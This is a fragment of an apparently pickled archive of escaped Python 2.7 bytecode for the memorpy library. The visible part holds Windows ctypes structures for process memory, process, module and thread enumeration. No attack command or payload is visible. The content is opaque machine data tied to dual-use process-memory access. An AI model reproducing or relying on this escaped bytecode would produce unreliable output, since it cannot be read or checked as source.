7.egg/memorpy/OSXProcess.pyt\\\\x08\\\\x00\\\\x00\\\\x00<module>\\\\x11\\\\x00\\\\x00\\\\x00s*\\\\x00\\\\x00\\\\x00\\\\x0c\\\\x01\\\\x0c\\\\x01\\\\x0c\\\\x01\\\\x0c\\\\x01$\\\\x01\\\\x0c\\\\x01\\\\x0c\\\\x01\\\\x0c\\\\x01\\\\x0c\\\\x01\\\\x16\\\\x01\\\\n\\\\x01\\\\x0c\\\\x01\\\\x0c\\\\x02\\\\x0f\\\\x02\\\\x1b\\\\x02\\\\x06\\\\x02\\\\x19\\\\x0c\\\\x13\\\\x02\\\\x06\\\\x01\\\\x06\\\\x01\\\\x06\\\\x02\\'\\np13\\nsS\\'memorpy/WinStructures.pyc\\'\\np14\\nS\\'\\\\x03\\\\xf3\\\\r\\\\ng\\\\x18\\\\x05Yc\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x06\\\\x00\\\\x00\\\\x00@\\\\x00\\\\x00\\\\x00s\\\\xd9\\\\x03\\\\x00\\\\x00d\\\\x00\\\\x00d\\\\x01\\\\x00l\\\\x00\\\\x00m\\\\x01\\\\x00Z\\\\x01\\\\x00m\\\\x02\\\\x00Z\\\\x02\\\\x00m\\\\x03\\\\x00Z\\\\x03\\\\x00m\\\\x04\\\\x00Z\\\\x04\\\\x00m\\\\x05\\\\x00Z\\\\x05\\\\x00m\\\\x06\\\\x00Z\\\\x06\\\\x00m\\\\x07\\\\x00Z\\\\x07\\\\x00m\\\\x08\\\\x00Z\\\\x08\\\\x00m\\\\t\\\\x00Z\\\\t\\\\x00m\\\\n\\\\x00Z\\\\n\\\\x00m\\\\x0b\\\\x00Z\\\\x0b\\\\x00m\\\\x0c\\\\x00Z\\\\x0c\\\\x00m\\\\r\\\\x00Z\\\\r\\\\x00m\\\\x0e\\\\x00Z\\\\x0e\\\\x00m\\\\x0f\\\\x00Z\\\\x0f\\\\x00m\\\\x10\\\\x00Z\\\\x10\\\\x00\\\\x01d\\\\x00\\\\x00d\\\\x02\\\\x00l\\\\x11\\\\x00Te\\\\r\\\\x00e\\\\x06\\\\x00\\\\x83\\\\x01\\\\x00d\\\\x03\\\\x00k\\\\x02\\\\x00r\\\\x8f\\\\x00e\\\\n\\\\x00Z\\\\x12\\\\x00n\\\\x06\\\\x00e\\\\t\\\\x00Z\\\\x12\\\\x00d\\\\x04\\\\x00e\\\\x01\\\\x00f\\\\x01\\\\x00d\\\\x05\\\\x00\\\\x84\\\\x00\\\\x00\\\\x83\\\\x00\\\\x00YZ\\\\x13\\\\x00e\\\\x0c\\\\x00e\\\\x13\\\\x00\\\\x83\\\\x01\\\\x00Z\\\\x14\\\\x00d\\\\x06\\\\x00e\\\\x01\\\\x00f\\\\x01\\\\x00d\\\\x07\\\\x00\\\\x84\\\\x00\\\\x00\\\\x83\\\\x00\\\\x00YZ\\\\x15\\\\x00d\\\\x08\\\\x00e\\\\x01\\\\x00f\\\\x01\\\\x00d\\\\t\\\\x00\\\\x84\\\\x00\\\\x00\\\\x83\\\\x00\\\\x00YZ\\\\x16\\\\x00d\\\\n\\\\x00e\\\\x01\\\\x00f\\\\x01\\\\x00d\\\\x0b\\\\x00\\\\x84\\\\x00\\\\x00\\\\x83\\\\x00\\\\x00YZ\\\\x17\\\\x00d\\\\x0c\\\\x00e\\\\x01\\\\x00f\\\\x01\\\\x00d\\\\r\\\\x00\\\\x84\\\\x00\\\\x00\\\\x83\\\\x00\\\\x00YZ\\\\x18\\\\x00d\\\\x0e\\\\x00e\\\\x01\\\\x00f\\\\x01\\\\x00d\\\\x0f\\\\x00\\\\x84\\\\x00\\\\x00\\\\x83\\\\x00\\\\x00YZ\\\\x19\\\\x00d\\\\x10\\\\x00e\\\\x01\\\\x00f\\\\x01\\\\x00d\\\\x11\\\\x00\\\\x84\\\\x00\\\\x00\\\\x83\\\\x00\\\\x00YZ\\\\x1a\\\\x00d\\\\x12\\\\x00e\\\\x1b\\\\x00f\\\\x01\\\\x00d\\\\x13\\\\x00\\\\x84\\\\x00\\\\x00\\\\x83\\\\x00\\\\x00YZ\\\\x1c\\\\x00e\\\\x0b\\\\x00j\\\\x1d\\\\x00j\\\\x1e\\\\x00Z\\\\x1e\\\\x00e\\\\x06\\\\x00e\\\\x0c\\\\x00e\\\\x19\\\\x00\\\\x83\\\\x01\\\\x00g\\\\x02\\\\x00e\\\\x1e\\\\x00_\\\\x1f\\\\x00e\\\\x03\\\\x00e\\\\x1e\\\\x00_ \\\\x00e\\\\x0b\\\\x00j\\\\x1d\\\\x00j!\\\\x00Z!\\\\x00e\\\\x06\\\\x00e\\\\x0c\\\\x00e\\\\x19\\\\x00\\\\x83\\\\x01\\\\x00g\\\\x02\\\\x00e!\\\\x00_\\\\x1f\\\\x00e\\\\x03\\\\x00e!\\\\x00_ \\\\x00e\\\\x0b\\\\x00j\\\\x1d\\\\x00j\"\\\\x00Z\"\\\\x00e\\\\x06\\\\x00e\\\\x0c\\\\x00e\\\\x18\\\\x00\\\\x83\\\\x01\\\\x00g\\\\x02\\\\x00e\"\\\\x00_\\\\x1f\\\\x00e\\\\x03\\\\x00e\"\\\\x00_ \\\\x00e\\\\x0b\\\\x00j\\\\x1d\\\\x00j#\\\\x00Z#\\\\x00e\\\\x06\\\\x00e\\\\x0c\\\\x00e\\\\x18\\\\x00\\\\x83\\\\x01\\\\x00g\\\\x02\\\\x00e#\\\\x00_\\\\x1f\\\\x00e\\\\x03\\\\x00e#\\\\x00_ \\\\x00e\\\\x0b\\\\x00j\\\\x1d\\\\x00j$\\\\x00Z$\\\\x00e\\\\x02\\\\x00e$\\\\x00_%\\\\x00e\\\\x03\\\\x00e\\\\x03\\\\x00g\\\\x02\\\\x00e$\\\\x00_\\\\x1f\\\\x00e\\\\x0b\\\\x00j\\\\x1d\\\\x00j&\\\\x00Z&\\\\x00e\\\\x06\\\\x00g\\\\x01\\\\x00e&\\\\x00_\\\\x1f\\\\x00e\\\\x03\\\\x00e&\\\\x00_ \\\\x00e\\\\x0b\\\\x00j\\\\x1d\\\\x00j\\\\\\'\\\\x00Z\\\\\\'\\\\x00e\\\\x06\\\\x00e\\\\x03\\\\x00e\\\\x02\\\\x00g\\\\x03\\\\x00e\\\\\\'\\\\x00_\\\\x1f\\\\x00e\\\\x02\\\\x00e\\\\\\'\\\\x00_ \\\\x00e\\\\x0b\\\\x00j(\\\\x00j)\\\\x00Z)\\\\x00e*\\\\x00e+\\\\x00e\\\\x0c\\\\x00e*\\\\x00\\\\x83\\\\x01\\\\x00f\\\\x03\\\\x00e)\\\\x00_\\\\x1f\\\\x00e,\\\\x00e)\\\\x00_-\\\\x00e\\\\x0b\\\\x00j\\\\x1d\\\\x00j.\\\\x00Z.\\\\x00e*\\\\x00e/\\\\x00e0\\\\x00e\\\\x0f\\\\x00e\\\\x0c\\\\x00e\\\\x0f\\\\x00\\\\x83\\\\x01\\\\x00g\\\\x05\\\\x00e.\\\\x00_\\\\x1f\\\\x00e\\\\x0b\\\\x00j\\\\x1d\\\\x00j.\\\\x00Z.\\\\x00e\\\\x0b\\\\x00j\\\\x1d\\\\x00j1\\\\x00Z1\\\\x00e*\\\\x00e0\\\\x00e/\\\\x00e\\\\x0f\\\\x00e\\\\x0c\\\\x00e\\\\x0f\\\\x00\\\\x83\\\\x01\\\\x00g\\\\x05\\\\x00e1\\\\x00_\\\\x1f\\\\x00e,\\\\x00e1\\\\x00_-\\\\x00e\\\\r\\\\x00e\\\\x06\\\\x00\\\\x83\\\\x01\\\\x00d\\\\x03\\\\x00k\\\\x02\\\\x00r\\\\x16\\\\x03d\\\\x1f\\\\x00Z3\\\\x00nG\\\\x00y7\\\\x00e\\\\x0b\\\\x00j4\\\\x00j3\\\\x00Z3\\\\x00e*\\\\x00e\\\\x10\\\\x00e0\\\\x00e\\\\n\\\\x00e\\\\x0c\\\\x00e\\\\t\\\\x00\\\\x83\\\\x01\\\\x00g\\\\x05\\\\x00e3\\\\x00_\\\\x1f\\\\x00e,\\\\x00e3\\\\x00_-\\\\x00Wn\\\\r\\\\x00\\\\x01\\\\x01\\\\x01d\\\\x1f\\\\x00Z3\\\\x00n\\\\x01\\\\x00Xe\\\\x0b\\\\x00j\\\\x1d\\\\x00j5\\\\x00Z5\\\\x00e*\\\\x00e/\\\\x00e\\\\x0c\\\\x00e\\\\x15\\\\x00\\\\x83\\\\x01\\\\x00e\\\\x0f\\\\x00g\\\\x04\\\\x00e5\\\\x00_\\\\x1f\\\\x00e\\\\x0f\\\\x00e5\\\\x00_-\\\\x00d\\\\x14\\\\x00Z6\\\\x00d\\\\x15\\\\x00Z7\\\\x00d\\\\x16\\\\x00Z8\\\\x00d\\\\x17\\\\x00Z9\\\\x00d\\\\x18\\\\x00Z:\\\\x00d\\\\x19\\\\x00Z;\\\\x00d\\\\x1a\\\\x00Z<\\\\x00d\\\\x1b\\\\x00Z=\\\\x00d\\\\x1c\\\\x00Z>\\\\x00d\\\\x1d\\\\x00Z?\\\\x00d\\\\x1e\\\\x00Z@\\\\x00d\\\\x17\\\\x00ZA\\\\x00d\\\\x1f\\\\x00S( \\\\x00\\\\x00\\\\x00i\\\\xff\\\\xff\\\\xff\\\\xff(\\\\x10\\\\x00\\\\x00\\\\x00t\\\\t\\\\x00\\\\x00\\\\x00Structuret\\\\x06\\\\x00\\\\x00\\\\x00c_longt\\\\x05\\\\x00\\\\x00\\\\x00c_intt\\\\x06\\\\x00\\\\x00\\\\x00c_uintt\\\\x06\\\\x00\\\\x00\\\\x00c_chart\\\\x08\\\\x00\\\\x00\\\\x00c_void_pt\\\\x07\\\\x00\\\\x00\\\\x00c_ubytet\\\\x08\\\\x00\\\\x00\\\\x00c_ushortt\\\\x07\\\\x00\\\\x00\\\\x00c_ulongt\\\\x0b\\\\x00\\\\x00\\\\x00c_ulonglongt\\\\x06\\\\x00\\\\x00\\\\x00windllt\\\\x07\\\\x00\\\\x00\\\\x00POINTERt\\\\x06\\\\x00\\\\x00\\\\x00sizeoft\\\\x06\\\\x00\\\\x00\\\\x00c_boolt\\\\x08\\\\x00\\\\x00\\\\x00c_size_tt\\\\n\\\\x00\\\\x00\\\\x00c_longlong(\\\\x01\\\\x00\\\\x00\\\\x00t\\\\x01\\\\x00\\\\x00\\\\x00*i\\\\x08\\\\x00\\\\x00\\\\x00t\\\\x13\\\\x00\\\\x00\\\\x00SECURITY_DESCRIPTORc\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x06\\\\x00\\\\x00\\\\x00B\\\\x00\\\\x00\\\\x00s;\\\\x00\\\\x00\\\\x00e\\\\x00\\\\x00Z\\\\x01\\\\x00d\\\\x00\\\\x00e\\\\x02\\\\x00f\\\\x02\\\\x00d\\\\x01\\\\x00e\\\\x02\\\\x00f\\\\x02\\\\x00d\\\\x02\\\\x00e\\\\x02\\\\x00f\\\\x02\\\\x00d\\\\x03\\\\x00e\\\\x02\\\\x00f\\\\x02\\\\x00d\\\\x04\\\\x00e\\\\x02\\\\x00f\\\\x02\\\\x00g\\\\x05\\\\x00Z\\\\x03\\\\x00RS(\\\\x05\\\\x00\\\\x00\\\\x00t\\\\x03\\\\x00\\\\x00\\\\x00SIDt\\\\x05\\\\x00\\\\x00\\\\x00groupt\\\\x04\\\\x00\\\\x00\\\\x00daclt\\\\x04\\\\x00\\\\x00\\\\x00saclt\\\\x04\\\\x00\\\\x00\\\\x00test(\\\\x04\\\\x00\\\\x00\\\\x00t\\\\x08\\\\x00\\\\x00\\\\x00__name__t\\\\n\\\\x00\\\\x00\\\\x00__module__t\\\\x05\\\\x00\\\\x00\\\\x00DWORDt\\\\x08\\\\x00\\\\x00\\\\x00_fields_(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sU\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/WinStructures.pyR\\\\x11\\\\x00\\\\x00\\\\x00\\\\x1a\\\\x00\\\\x00\\\\x00s\\\\n\\\\x00\\\\x00\\\\x00\\\\x06\\\\x02\\\\t\\\\x01\\\\t\\\\x01\\\\t\\\\x01\\\\t\\\\x01t\\\\x18\\\\x00\\\\x00\\\\x00MEMORY_BASIC_INFORMATIONc\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x08\\\\x00\\\\x00\\\\x00B\\\\x00\\\\x00\\\\x00sM\\\\x00\\\\x00\\\\x00e\\\\x00\\\\x00Z\\\\x01\\\\x00d\\\\x00\\\\x00e\\\\x02\\\\x00f\\\\x02\\\\x00d\\\\x01\\\\x00e\\\\x02\\\\x00f\\\\x02\\\\x00d\\\\x02\\\\x00e\\\\x03\\\\x00f\\\\x02\\\\x00d\\\\x03\\\\x00e\\\\x04\\\\x00f\\\\x02\\\\x00d\\\\x04\\\\x00e\\\\x03\\\\x00f\\\\x02\\\\x00d\\\\x05\\\\x00e\\\\x03\\\\x00f\\\\x02\\\\x00d\\\\x06\\\\x00e\\\\x03\\\\x00f\\\\x02\\\\x00g\\\\x07\\\\x00Z\\\\x05\\\\x00RS(\\\\x07\\\\x00\\\\x00\\\\x00t\\\\x0b\\\\x00\\\\x00\\\\x00BaseAddresst\\\\x0e\\\\x00\\\\x00\\\\x00AllocationBaset\\\\x11\\\\x00\\\\x00\\\\x00AllocationProtectt\\\\n\\\\x00\\\\x00\\\\x00RegionSizet\\\\x05\\\\x00\\\\x00\\\\x00Statet\\\\x07\\\\x00\\\\x00\\\\x00Protectt\\\\x04\\\\x00\\\\x00\\\\x00Type(\\\\x06\\\\x00\\\\x00\\\\x00R\\\\x17\\\\x00\\\\x00\\\\x00R\\\\x18\\\\x00\\\\x00\\\\x00R\\\\x05\\\\x00\\\\x00\\\\x00R\\\\x19\\\\x00\\\\x00\\\\x00R\\\\x0e\\\\x00\\\\x00\\\\x00R\\\\x1a\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sU\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/WinStructures.pyR\\\\x1b\\\\x00\\\\x00\\\\x00$\\\\x00\\\\x00\\\\x00s\\\\x0e\\\\x00\\\\x00\\\\x00\\\\x06\\\\x01\\\\t\\\\x01\\\\t\\\\x01\\\\t\\\\x01\\\\t\\\\x01\\\\t\\\\x01\\\\t\\\\x01t\\\\x1a\\\\x00\\\\x00\\\\x00MEMORY_BASIC_INFORMATION64c\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\n\\\\x00\\\\x00\\\\x00B\\\\x00\\\\x00\\\\x00s_\\\\x00\\\\x00\\\\x00e\\\\x00\\\\x00Z\\\\x01\\\\x00d\\\\x00\\\\x00e\\\\x02\\\\x00f\\\\x02\\\\x00d\\\\x01\\\\x00e\\\\x02\\\\x00f\\\\x02\\\\x00d\\\\x02\\\\x00e\\\\x03\\\\x00f\\\\x02\\\\x00d\\\\x03\\\\x00e\\\\x03\\\\x00f\\\\x02\\\\x00d\\\\x04\\\\x00e\\\\x02\\\\x00f\\\\x02\\\\x00d\\\\x05\\\\x00e\\\\x03\\\\x00f\\\\x02\\\\x00d\\\\x06\\\\x00e\\\\x03\\\\x00f\\\\x02\\\\x00d\\\\x07\\\\x00e\\\\x03\\\\x00f\\\\x02\\\\x00d\\\\x08\\\\x00e\\\\x03\\\\x00f\\\\x02\\\\x00g\\\\t\\\\x00Z\\\\x04\\\\x00RS(\\\\t\\\\x00\\\\x00\\\\x00R\\\\x1c\\\\x00\\\\x00\\\\x00R\\\\x1d\\\\x00\\\\x00\\\\x00R\\\\x1e\\\\x00\\\\x00\\\\x00t\\\\x0b\\\\x00\\\\x00\\\\x00alignement1R\\\\x1f\\\\x00\\\\x00\\\\x00R \\\\x00\\\\x00\\\\x00R!\\\\x00\\\\x00\\\\x00R\"\\\\x00\\\\x00\\\\x00t\\\\x0b\\\\x00\\\\x00\\\\x00alignement2(\\\\x05\\\\x00\\\\x00\\\\x00R\\\\x17\\\\x00\\\\x00\\\\x00R\\\\x18\\\\x00\\\\x00\\\\x00R\\\\t\\\\x00\\\\x00\\\\x00R\\\\x19\\\\x00\\\\x00\\\\x00R\\\\x1a\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sU\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/WinStructures.pyR#\\\\x00\\\\x00\\\\x00.\\\\x00\\\\x00\\\\x00s\\\\x12\\\\x00\\\\x00\\\\x00\\\\x06\\\\x01\\\\t\\\\x01\\\\t\\\\x01\\\\t\\\\x01\\\\t\\\\x01\\\\t\\\\x01\\\\t\\\\x01\\\\t\\\\x01\\\\t\\\\x01t\\\\x0b\\\\x00\\\\x00\\\\x00SYSTEM_INFOc\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x0c\\\\x00\\\\x00\\\\x00B\\\\x00\\\\x00\\\\x00sq\\\\x00\\\\x00\\\\x00e\\\\x00\\\\x00Z\\\\x01\\\\x00d\\\\x00\\\\x00e\\\\x02\\\\x00f\\\\x02\\\\x00d\\\\x01\\\\x00e\\\\x02\\\\x00f\\\\x02\\\\x00d\\\\x02\\\\x00e\\\\x03\\\\x00f\\\\x02\\\\x00d\\\\x03\\\\x00e\\\\x04\\\\x00f\\\\x02\\\\x00d\\\\x04\\\\x00e\\\\x04\\\\x00f\\\\x02\\\\x00d\\\\x05\\\\x00e\\\\x05\\\\x00f\\\\x02\\\\x00d\\\\x06\\\\x00e\\\\x03\\\\x00f\\\\x02\\\\x00d\\\\x07\\\\x00e\\\\x03\\\\x00f\\\\x02\\\\x00d\\\\x08\\\\x00e\\\\x03\\\\x00f\\\\x02\\\\x00d\\\\t\\\\x00e\\\\x02\\\\x00f\\\\x02\\\\x00d\\\\n\\\\x00e\\\\x02\\\\x00f\\\\x02\\\\x00g\\\\x0b\\\\x00Z\\\\x06\\\\x00RS(\\\\x0b\\\\x00\\\\x00\\\\x00t\\\\x16\\\\x00\\\\x00\\\\x00wProcessorArchitecturet\\\\t\\\\x00\\\\x00\\\\x00wReservedt\\\\n\\\\x00\\\\x00\\\\x00dwPageSizet\\\\x1b\\\\x00\\\\x00\\\\x00lpMinimumApplicationAddresst\\\\x1b\\\\x00\\\\x00\\\\x00lpMaximumApplicationAddresst\\\\x15\\\\x00\\\\x00\\\\x00dwActiveProcessorMaskt\\\\x14\\\\x00\\\\x00\\\\x00dwNumberOfProcessorst\\\\x0f\\\\x00\\\\x00\\\\x00dwProcessorTypet\\\\x17\\\\x00\\\\x00\\\\x00dwAllocationGranularityt\\\\x0f\\\\x00\\\\x00\\\\x00wProcessorLevelt\\\\x12\\\\x00\\\\x00\\\\x00wProcessorRevision(\\\\x07\\\\x00\\\\x00\\\\x00R\\\\x17\\\\x00\\\\x00\\\\x00R\\\\x18\\\\x00\\\\x00\\\\x00t\\\\x04\\\\x00\\\\x00\\\\x00WORDR\\\\x19\\\\x00\\\\x00\\\\x00t\\\\x06\\\\x00\\\\x00\\\\x00LPVOIDt\\\\t\\\\x00\\\\x00\\\\x00ULONG_PTRR\\\\x1a\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sU\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/WinStructures.pyR&\\\\x00\\\\x00\\\\x00;\\\\x00\\\\x00\\\\x00s\\\\x16\\\\x00\\\\x00\\\\x00\\\\x06\\\\x01\\\\t\\\\x01\\\\t\\\\x01\\\\t\\\\x01\\\\t\\\\x01\\\\t\\\\x01\\\\t\\\\x01\\\\t\\\\x01\\\\t\\\\x01\\\\t\\\\x01\\\\t\\\\x01t\\\\x0e\\\\x00\\\\x00\\\\x00PROCESSENTRY32c\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\r\\\\x00\\\\x00\\\\x00B\\\\x00\\\\x00\\\\x00s~\\\\x00\\\\x00\\\\x00e\\\\x00\\\\x00Z\\\\x01\\\\x00d\\\\x00\\\\x00e\\\\x02\\\\x00f\\\\x02\\\\x00d\\\\x01\\\\x00e\\\\x02\\\\x00f\\\\x02\\\\x00d\\\\x02\\\\x00e\\\\x02\\\\x00f\\\\x02\\\\x00d\\\\x03\\\\x00e\\\\x02\\\\x00f\\\\x02\\\\x00d\\\\x04\\\\x00e\\\\x02\\\\x00f\\\\x02\\\\x00d\\\\x05\\\\x00e\\\\x02\\\\x00f\\\\x02\\\\x00d\\\\x06\\\\x00e\\\\x02\\\\x00f\\\\x02\\\\x00d\\\\x07\\\\x00e\\\\x03\\\\x00f\\\\x02\\\\x00d\\\\x08\\\\x00e\\\\x04\\\\x00f\\\\x02\\\\x00d\\\\t\\\\x00e\\\\x05\\\\x00d\\\\n\\\\x00\\\\x14f\\\\x02\\\\x00d\\\\x0b\\\\x00e\\\\x03\\\\x00f\\\\x02\\\\x00d\\\\x0c\\\\x00e\\\\x03\\\\x00f\\\\x02\\\\x00g\\\\x0c\\\\x00Z\\\\x06\\\\x00RS(\\\\r\\\\x00\\\\x00\\\\x00t\\\\x06\\\\x00\\\\x00\\\\x00dwSizet\\\\x08\\\\x00\\\\x00\\\\x00cntUsaget\\\\r\\\\x00\\\\x00\\\\x00th32ProcessIDt\\\\x11\\\\x00\\\\x00\\\\x00th32DefaultHeapIDt\\\\x0c\\\\x00\\\\x00\\\\x00th32ModuleIDt\\\\n\\\\x00\\\\x00\\\\x00cntThreadst\\\\x13\\\\x00\\\\x00\\\\x00th32ParentProcessIDt\\\\x0e\\\\x00\\\\x00\\\\x00pcPriClassBaset\\\\x07\\\\x00\\\\x00\\\\x00dwFlagst\\\\t\\\\x00\\\\x00\\\\x00szExeFilei\\\\x04\\\\x01\\\\x00\\\\x00t\\\\x0e\\\\x00\\\\x00\\\\x00th32MemoryBaset\\\\r\\\\x00\\\\x00\\\\x00th32AccessKey(\\\\x07\\\\x00\\\\x00\\\\x00R\\\\x17\\\\x00\\\\x00\\\\x00R\\\\x18\\\\x00\\\\x00\\\\x00R\\\\x03\\\\x00\\\\x00\\\\x00R\\\\x01\\\\x00\\\\x00\\\\x00R\\\\x19\\\\x00\\\\x00\\\\x00R\\\\x04\\\\x00\\\\x00\\\\x00R\\\\x1a\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sU\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/WinStructures.pyR5\\\\x00\\\\x00\\\\x00I\\\\x00\\\\x00\\\\x00s\\\\x18\\\\x00\\\\x00\\\\x00\\\\x06\\\\x01\\\\t\\\\x01\\\\t\\\\x01\\\\t\\\\x01\\\\t\\\\x01\\\\t\\\\x01\\\\t\\\\x01\\\\t\\\\x01\\\\t\\\\x01\\\\t\\\\x02\\\\r\\\\x01\\\\t\\\\x01t\\\\r\\\\x00\\\\x00\\\\x00MODULEENTRY32c\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x0c\\\\x00\\\\x00\\\\x00B\\\\x00\\\\x00\\\\x00sp\\\\x00\\\\x00\\\\x00e\\\\x00\\\\x00Z\\\\x01\\\\x00d\\\\x00\\\\x00e\\\\x02\\\\x00f\\\\x02\\\\x00d\\\\x01\\\\x00e\\\\x02\\\\x00f\\\\x02\\\\x00d\\\\x02\\\\x00e\\\\x02\\\\x00f\\\\x02\\\\x00d\\\\x03\\\\x00e\\\\x02\\\\x00f\\\\x02\\\\x00d\\\\x04\\\\x00e\\\\x02\\\\x00f\\\\x02\\\\x00d\\\\x05\\\\x00e\\\\x02\\\\x00f\\\\x02\\\\x00d\\\\x06\\\\x00e\\\\x02\\\\x00f\\\\x02\\\\x00d\\\\x07\\\\x00e\\\\x02\\\\x00f\\\\x02\\\\x00d\\\\x08\\\\x00e\\\\x03\\\\x00d\\\\t\\\\x00\\\\x14f\\\\x02\\\\x00d\\\\n\\\\x00e\\\\x03\\\\x00d\\\\x0b\\\\x00\\\\x14f\\\\x02\\\\x00g\\\\n\\\\x00Z\\\\x04\\\\x00RS(\\\\x0c\\\\x00\\\\x00\\\\x00R6\\\\x00\\\\x00\\\\x00R:\\\\x00\\\\x00\\\\x00R8\\\\x00\\\\x00\\\\x00t\\\\x0c\\\\x00\\\\x00\\\\x00GlblcntUsaget\\\\x0c\\\\x00\\\\x00\\\\x00ProccntUsaget\\\\x0b\\\\x00\\\\x00\\\\x00modBaseAddrt\\\\x0b\\\\x00\\\\x00\\\\x00modBaseSizet\\\\x07\\\\x00\\\\x00\\\\x00hModulet\\\\x08\\\\x00\\\\x00\\\\x00szModulei\\\\x00\\\\x01\\\\x00\\\\x00t\\\\t\\\\x00\\\\x00\\\\x00szExePathi\\\\x04\\\\x01\\\\x00\\\\x00(\\\\x05\\\\x00\\\\x00\\\\x00R\\\\x17\\\\x00\\\\x00\\\\x00R\\\\x18\\\\x00\\\\x00\\\\x00R\\\\x03\\\\x00\\\\x00\\\\x00R\\\\x04\\\\x00\\\\x00\\\\x00R\\\\x1a\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sU\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/WinStructures.pyRB\\\\x00\\\\x00\\\\x00Y\\\\x00\\\\x00\\\\x00s\\\\x14\\\\x00\\\\x00\\\\x00\\\\x06\\\\x01\\\\t\\\\x01\\\\t\\\\x01\\\\t\\\\x01\\\\t\\\\x01\\\\t\\\\x01\\\\t\\\\x01\\\\t\\\\x01\\\\t\\\\x01\\\\r\\\\x01t\\\\r\\\\x00\\\\x00\\\\x00THREADENTRY32c\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x08\\\\x00\\\\x00\\\\x00B\\\\x00\\\\x00\\\\x00sM\\\\x00\\\\x00\\\\x00e\\\\x00\\\\x00Z\\\\x01\\\\x00d\\\\x00\\\\x00e\\\\x02\\\\x00f\\\\x02\\\\x00d\\\\x01\\\\x00e\\\\x02\\\\x00f\\\\x02\\\\x00d\\\\x02\\\\x00e\\\\x02\\\\x00f\\\\x02\\\\x00d\\\\x03\\\\x00e\\\\x02\\\\x00f\\\\x02\\\\x00d\\\\x04\\\\x00e\\\\x02\\\\x00f\\\\x02\\\\x00d\\\\x05\\\\x00e\\\\x02\\\\x00f\\\\x02\\\\x00d\\\\x06\\\\x00e\\\\x02\\\\x00f\\\\x02\\\\x00g\\\\x07\\\\x00Z\\\\x03\\\\x00RS(\\\\x07\\\\x00\\\\x00\\\\x00R6\\\\x00\\\\x00\\\\x00R7\\\\x00\\\\x00\\\\x00t\\\\x0c\\\\x00\\\\x00\\\\x00th32ThreadIDt\\\\x12\\\\x00\\\\x00\\\\x00th32OwnerProcessIDt\\\\t\\\\x00\\\\x00\\\\x00tpBasePrit\\\\n\\\\x00\\\\x00\\\\x00tpDeltaPriR>\\\\x00\\\\x00\\\\x00(\\\\x04\\\\x00\\\\x00\\\\x00R\\\\x17\\\\x00\\\\x00\\\\x00R\\\\x18\\\\x00\\\\x00\\\\x00R\\\\x03\\\\x00\\\\x00\\\\x00R\\\\x1a\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sU\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/WinStructures.pyRJ\\\\x00\\\\x00\\\\x00f\\\\x00\\\\x00\\\\x00s\\\\x0e\\\\x00\\\\x00\\\\x00\\\\x06\\\\x01\\\\t\\\\x01\\\\t\\\\x01\\\\t\\\\x01\\\\t\\\\x01\\\\t\\\\x01\\\\t\\\\x01t\\\\x0c\\\\x00\\\\x00\\\\x00TH32CS_CLASSc\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\x00\\\\x00\\\\x00B\\\\x00\\\\x00\\\\x00s2\\\\x00\\\\x00\\\\x00e\\\\x00\\\\x00Z\\\\x01\\\\x00d\\\\x00\\\\x00Z\\\\x02\\\\x00d\\\\x01\\\\x00Z\\\\x03\\\\x00d\\\\x02\\\\x00Z\\\\x04\\\\x00d\\\\x03\\\\x00Z\\\\x05\\\\x00d\\\\x04\\\\x00Z\\\\x06\\\\x00d\\\\x05\\\\x00Z\\\\x07\\\\x00d\\\\x06\\\\x00Z\\\\x08\\\\x00RS(\\\\x07\\\\x00\\\\x00\\\\x00l\\\\x03\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x02\\\\x00i\\\\x01\\\\x00\\\\x00\\\\x00i\\\\x08\\\\x00\\\\x00\\\\x00i\\\\x10\\\\x00\\\\x00\\\\x0